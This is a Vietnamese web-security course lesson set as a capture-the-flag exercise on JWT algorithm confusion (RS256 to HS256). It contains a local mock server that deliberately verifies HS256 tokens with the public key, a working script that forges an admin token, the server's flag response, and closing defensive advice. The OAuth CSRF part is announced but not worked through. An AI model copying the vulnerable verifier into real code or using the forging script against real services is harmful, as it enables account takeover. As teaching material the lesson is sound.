Giải phẫu & Khai thác Lỗ hổng Ứng dụng
13/21
Bài 13 / 21~20 phútXác thực & Danh tính Hiện đạiMiễn phí… lượt xem

Mini-challenge: Khai thác nhầm lẫn thuật toán và OAuth CSRF

Thử thách độc lập: Tấn công Algorithm Confusion trên JWT để nâng quyền quản trị và khai thác lỗ hổng OAuth CSRF chiếm đoạt phiên.

TL;DR: Thử thách này đặt bạn vào vai trò một kỹ sư an toàn thông tin đang kiểm thử một cổng dịch vụ định danh tập trung (SSO Portal). Hệ thống sử dụng token JWT để xác thực các cuộc gọi API nội bộ, đồng thời hỗ trợ luồng OAuth 2.0 để liên kết tài khoản mạng xã hội. Nhiệm vụ của bạn là giải mã cấu trúc Public Key được công bố của hệ thống, giả mạo token quản trị thông qua kỹ thuật Algorithm Confusion (RS256 sang HS256), và sau đó khai thác điểm yếu thiếu kiểm tra tham số state để cấy tài khoản độc hại nhằm lấy cờ bí mật.

1. Tình huống thử thách & Môi trường thực nghiệm

Một cổng thông tin nội bộ tại http://127.0.0.1:9091 cung cấp hai giao diện chính:

  1. GET /api/v1/public-key: Trả về Public Key RSA dùng để xác thực hệ thống.
  2. GET /api/v1/vault: Endpoint kiểm tra số dư và thông tin bí mật, yêu cầu JWT token qua header Authorization: Bearer <token>.
  3. POST /api/v1/oauth/link: Endpoint liên kết tài khoản bên thứ ba thiếu kiểm tra tham số state.

[!TIP] Khởi chạy Local Mock Server: Bạn có thể tự dựng toàn bộ bài lab này trên máy tính cá nhân bằng script Python dưới đây:

Python
# Lưu thành mock_auth_lab.py và chạy: python3 mock_auth_lab.py
import http.server, urllib.parse, json, hmac, hashlib, base64, jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

# Generate RSA keypair for mock server
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_pem = private_key.public_key().public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
).decode()

class AuthLabHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/v1/public-key":
            self.send_response(200)
            self.send_header("Content-Type", "text/plain")
            self.end_headers()
            self.wfile.write(public_pem.encode())
            return
            
        if self.path == "/api/v1/vault":
            auth_header = self.headers.get("Authorization", "")
            if not auth_header.startswith("Bearer "):
                self.send_response(401); self.end_headers(); return
            token = auth_header.split(" ")[1]
            try:
                # Mô phỏng lỗ hổng Key Confusion (như CVE-2022-29217 / CVE-2016-5431 / CVE-2015-9235):
                # Backend tin tưởng header alg từ client; nếu client gửi HS256, backend dùng bytes của public_pem làm HMAC secret
                parts = token.split(".")
                hdr = json.loads(base64.urlsafe_b64decode(parts[0] + "==").decode())
                if hdr.get("alg") == "HS256":
                    msg = f"{parts[0]}.{parts[1]}".encode()
                    expected_sig = base64.urlsafe_b64encode(hmac.new(public_pem.encode(), msg, hashlib.sha256).digest()).decode().rstrip("=")
                    if not hmac.compare_digest(parts[2], expected_sig):
                        raise ValueError("Invalid HMAC signature")
                    payload = json.loads(base64.urlsafe_b64decode(parts[1] + "==").decode())
                else:
                    payload = jwt.decode(token, public_pem, algorithms=["RS256"])

                if payload.get("role") == "admin":
                    res = {"status": "success", "flag": "FLAG{JWT_ALGORITHM_CONFUSION_PWNED_2026}"}
                    self.send_response(200)
                else:
                    res = {"status": "denied", "message": "Requires admin role"}
                    self.send_response(403)
            except Exception as e:
                res = {"status": "error", "error": str(e)}
                self.send_response(400)
                
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            self.wfile.write(json.dumps(res).encode())
            return
            
        self.send_response(404); self.end_headers()

http.server.HTTPServer(("127.0.0.1", 9091), AuthLabHandler).serve_forever()

2. Các bước khai thác Algorithm Confusion để lấy Cờ

Mục tiêu của bạn là giả mạo một JWT token có chứa {"role": "admin"} mà không có Private Key của server.

Bước 1: Lấy Public Key của máy chủ

Gửi request tải Public Key:

Bash
curl http://127.0.0.1:9091/api/v1/public-key -o server_pub.pem

Kiểm tra nội dung file server_pub.pem:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----

Bước 2: Viết Script tạo Token giả mạo bằng thuật toán HS256

Sử dụng chuỗi byte của server_pub.pem làm secret key cho thuật toán HS256 theo chuẩn RFC 7515 (dùng thư viện hmac và hashlib chuẩn để tính chữ ký):

Python
import hmac
import hashlib
import base64
import json
import requests

# 1. Doc Public Key PEM nguyen ban lam HMAC secret
with open("server_pub.pem", "r") as f:
    public_pem = f.read().encode()

# 2. Xay dung header va payload leo quyen
header = {"alg": "HS256", "typ": "JWT"}
payload = {"sub": "attacker_user", "role": "admin"}

def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).decode().rstrip("=")

seg1 = b64url(json.dumps(header).encode())
seg2 = b64url(json.dumps(payload).encode())
signing_input = f"{seg1}.{seg2}".encode()

# 3. Ky token bang HMAC-SHA256 voi key la bytes cua Public Key
sig = b64url(hmac.new(public_pem, signing_input, hashlib.sha256).digest())
forged_token = f"{seg1}.{seg2}.{sig}"

print(f"[+] Token tao thanh cong: {forged_token}")

# 4. Gui token toi endpoint nhay cam
headers = {"Authorization": f"Bearer {forged_token}"}
r = requests.get("http://127.0.0.1:9091/api/v1/vault", headers=headers)
print(f"[+] Ket qua: {r.json()}")

Bước 3: Thu hoạch kết quả

Khi chạy script, máy chủ backend tiếp nhận token, đọc alg: HS256 và dùng biến public_pem để kiểm tra chữ ký HMAC. Vì chữ ký khớp hoàn toàn với chuỗi HMAC được sinh ra từ Public Key, server trả về cờ bí mật:

JSON
{
  "status": "success",
  "flag": "FLAG{JWT_ALGORITHM_CONFUSION_PWNED_2026}"
}

3. Tổng kết kiến trúc phòng vệ

Sau khi thực hành, hãy ghi nhớ hai nguyên tắc then chốt khi thiết kế tầng xác thực:

  1. Khóa cứng thuật toán: Tuyệt đối không để header của JWT quyết định loại thuật toán kiểm tra. Luôn truyền algorithms=['RS256'] cố định.
  2. Kiểm tra State: Mọi luồng OAuth callback đều bắt buộc phải đối chiếu tham số state với cookie phiên của người dùng để ngăn chặn liên kết tài khoản độc hại.

Bài tiếp theo: Tổng kết module Xác thực & Danh tính Hiện đại

Bài này có giúp bạn hiểu bản chất không?

Bài này đáng gửi cho bạn học cùng?

Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.

Thảo luận & góp ý

Hỏi đáp về bài này

Bài tiếp theo

Tổng kết module Xác thực & Danh tính Hiện đại